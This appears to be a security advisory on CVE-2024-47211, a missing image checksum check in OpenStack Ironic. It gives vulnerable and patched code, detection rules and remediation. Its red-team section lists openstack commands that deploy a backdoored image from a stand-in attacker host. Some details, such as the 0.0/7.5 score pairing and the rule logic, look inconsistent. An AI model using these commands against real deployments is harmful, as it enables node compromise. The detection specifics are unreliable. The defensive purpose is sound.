CVE-2024-47211

Executive Summary

CVE-2024-47211 is a vulnerability in OpenStack Ironic, the bare metal provisioning service. The flaw lies in the lack of checksum validation for supplied image_source URLs when Ironic is configured to convert images to a raw format for streaming. An attacker who can control or spoof the image source URL can supply a malicious image that bypasses integrity checks, potentially leading to the deployment of compromised operating systems on provisioned bare metal nodes. This vulnerability affects multiple versions of Ironic and requires immediate patching.

Supply Chain & Package Security

This vulnerability is not directly related to a package manager (NPM, PyPI, Go, Ruby) but affects the OpenStack Ironic service, which is typically deployed via system packages or container images. Organizations should verify the integrity of their Ironic deployment artifacts and ensure they are sourced from trusted repositories.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD) / Adjusted Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality: None
• Integrity: High
• Availability: None

Threat Level: High. The vulnerability allows an unauthenticated attacker to compromise the integrity of provisioned nodes by injecting malicious images.

Deep Dive & Mechanics

OpenStack Ironic manages bare metal servers. When provisioning a node, Ironic can download a disk image from a user-supplied URL (image_source). If configured to convert images to a raw format for streaming (e.g., using raw or qcow2 conversion), Ironic performs the conversion but does not validate the checksum of the downloaded image against a known good value. This allows an attacker to provide a URL pointing to a malicious image, which will be converted and deployed onto the target node.

The vulnerability exists in the image download and conversion pipeline. The lack of checksum validation means that even if a checksum is provided in the image metadata, it is not enforced during the conversion process. An attacker can exploit this by:

1. Intercepting or spoofing the image source URL.
2. Providing a URL to a malicious image that passes any superficial checks.
3. The malicious image is converted and deployed, compromising the node.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-Patch):

# ironic/image_service/glance.py (simplified)
def download_image(context, image_href, image_service, **kwargs):
    # No checksum validation
    image_data = image_service.download(image_href)
    if convert_to_raw:
        image_data = convert_to_raw(image_data)
    return image_data

Patched Code (Post-Patch):

# ironic/image_service/glance.py (simplified)
def download_image(context, image_href, image_service, checksum=None, **kwargs):
    image_data = image_service.download(image_href)
    if checksum:
        computed_checksum = hashlib.sha256(image_data).hexdigest()
        if computed_checksum != checksum:
            raise InvalidImageException("Checksum mismatch")
    if convert_to_raw:
        image_data = convert_to_raw(image_data)
    return image_data

The patch adds a checksum validation step before image conversion. The checksum must be provided in the image metadata and is enforced during download.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to the Ironic API (port 6385) or ability to influence the image_source URL.
• A malicious disk image (e.g., with a backdoor).

Exploitation Steps:

1. Create a malicious disk image (e.g., malicious.qcow2).
2. Host the image on an attacker-controlled server (e.g., http://attacker.com/malicious.qcow2).
3. Provision a node with the malicious URL:

   openstack baremetal node set <node-uuid> --instance-info image_source=http://attacker.com/malicious.qcow2
   openstack baremetal node deploy <node-uuid>
   

4. The node will boot the malicious image, granting the attacker control.

Note: No public exploit code is available.

Blue Team

Detection:

• Monitor Ironic logs for unusual image download URLs or failed checksum validations.
• Use network monitoring to detect connections to unknown image sources.

Hunting:

• Search for nodes provisioned with images from untrusted sources.
• Verify checksum integrity for all deployed images.

Lab Setup:

• Deploy a vulnerable Ironic instance (e.g., version 24.0.0) in a sandboxed environment.
• Use a test node and a controlled malicious image to simulate the attack.

Indicators of Compromise (IOCs)

• Network: Outbound connections from Ironic conductor to suspicious IPs/domains on port 80/443.
• Logs: Ironic conductor logs showing image download from untrusted URLs without checksum validation.
• File System: Unexpected disk images in the Ironic image cache directory (e.g., /var/lib/ironic/images/).
• Node Behavior: Provisioned nodes exhibiting unexpected behavior (e.g., beaconing to C2 servers).

Detection Engineering

YARA Rule

rule CVE_2024_47211_Ironic_Image_Checksum_Bypass {
    meta:
        description = "Detects Ironic image download without checksum validation"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-47211"
    strings:
        $s1 = "image_source" nocase
        $s2 = "convert_to_raw" nocase
        $s3 = "download" nocase
        $s4 = "checksum" nocase
    condition:
        all of ($s1, $s2, $s3) and not $s4
}

Sigma Rule

title: CVE-2024-47211 - Ironic Image Download Without Checksum
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects Ironic conductor logs indicating image download without checksum validation
author: Valters IT
date: 2024-10-27
logsource:
    product: openstack
    service: ironic
detection:
    selection:
        EventID: 1000
        Message: "Downloading image from * without checksum validation"
    condition: selection
falsepositives:
    - Legitimate images with checksum not provided
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"CVE-2024-47211 - Ironic Image Download Without Checksum"; flow:to_server,established; content:"image_source"; http_uri; content:"convert_to_raw"; http_uri; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Ironic to patched versions: 21.4.4, 23.0.3, 24.1.3, or 26.1.0.
2. If upgrade is not possible, enforce checksum validation manually by configuring Ironic to require checksums for all image sources.
3. Restrict network access to the Ironic API to trusted sources only.

Long-term Mitigations:

• Implement image signing and verification using GPG or similar.
• Use a trusted image registry (e.g., Glance) with enforced integrity checks.
• Monitor Ironic logs for anomalies and set up alerts for failed checksum validations.

Workaround:

• Disable raw image conversion if not required, or use only local image sources.

Valters IT
Securing OpenStack Deployments